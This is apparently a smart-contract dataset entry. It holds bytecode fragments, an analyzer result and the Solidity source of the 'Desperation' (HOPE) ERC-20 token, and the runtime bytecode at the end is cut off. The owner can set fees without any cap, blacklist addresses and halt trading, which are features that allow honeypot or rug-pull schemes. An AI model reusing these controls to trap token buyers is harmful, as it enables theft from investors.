5090565b60006001600160a01b038416158015906103fd575060045461010090046001600160a01b0316155b156104275760048054610100600160a81b0319166101006001600160a01b03861602179055610431565b61043184846106d1565b6001600160a01b03841660009081526009602052604090205461045490836106b1565b6001600160a01b038516600090815260096020908152604080832093909355600a81528282203383529052205461048b90836106b1565b6001600160a01b038086166000908152600a602090815260408083203384528252808320949094559186168152600990915220546104c99083610825565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061051d9086815260200190565b60405180910390a35060019392505050565b60018054610293906109d3565b6000546001600160a01b0316331461055357600080fd5b6001600160a01b0382166105b85760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6105c28282610840565b5050565b6004546000906001600160a01b0384811661010090920416141561061a5760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064016105af565b3360009081526009602052604090205461063490836106b1565b33600090815260096020526040808220929092556001600160a01b038516815220546106609083610825565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103869086815260200190565b6000828211156106c057600080fd5b6106ca8284610a24565b9392505050565b6004546001600160a01b03828116610100909204161415806107975750600854604051630c73320760e31b81526001600160a01b03848116600483015290911690636399903890602401602060405180830381865afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c9190610a3b565b15156001148061077957506007546001600160a01b038381169116145b801561079757506004546001600160a01b0382811661010090920416145b806107d957506004546001600160a01b03828116610100909204161480156107d957506006546001600160a01b03831660009081526009602052604090205411155b6105c25760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f206164647265737300000000000060448201526064016105af565b60006108318284610a5d565b90508281101561039257600080fd5b600780546001600160a01b0319166001600160a01b0384161790556005546108689082610825565b6005556001600160a01b03821660009081526009602052604090205461088e9082610825565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b818110156108db578581018301518582016040015282016108bf565b818111156108ed576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461091a57600080fd5b919050565b6000806040838503121561093257600080fd5b61093b83610903565b946020939093013593505050565b60008060006060848603121561095e57600080fd5b61096784610903565b925061097560208501610903565b9150604084013590509250925092565b60006020828403121561099757600080fd5b6106ca82610903565b600080604083850312156109b357600080fd5b6109bc83610903565b91506109ca60208401610903565b90509250929050565b600181811c908216806109e757607f821691505b60208210811415610a0857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610a3657610a36610a0e565b500390565b600060208284031215610a4d57600080fd5b815180151581146106ca57600080fd5b60008219821115610a7057610a70610a0e565b50019056fea264697066735822122011283141b1b08c4a1cdd655f88f1a0435e36382651f4f0800caf5ea7e379c6b564736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,838 |
0xeee6f41993b344601e7eb577cf2e9852480cc54f | /**
Desperate times..
10000000 Tx limit.
10000000 Max wallet size.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Desperation is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Desperation";
string private constant _symbol = "HOPE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 6;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x9585D3082bEcC1f7988eb2FabF519C91098718fe);
address payable private _marketingAddress = payable(0x9585D3082bEcC1f7988eb2FabF519C91098718fe);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 10000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600b81526020017f4465737065726174696f6e000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f484f504500000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673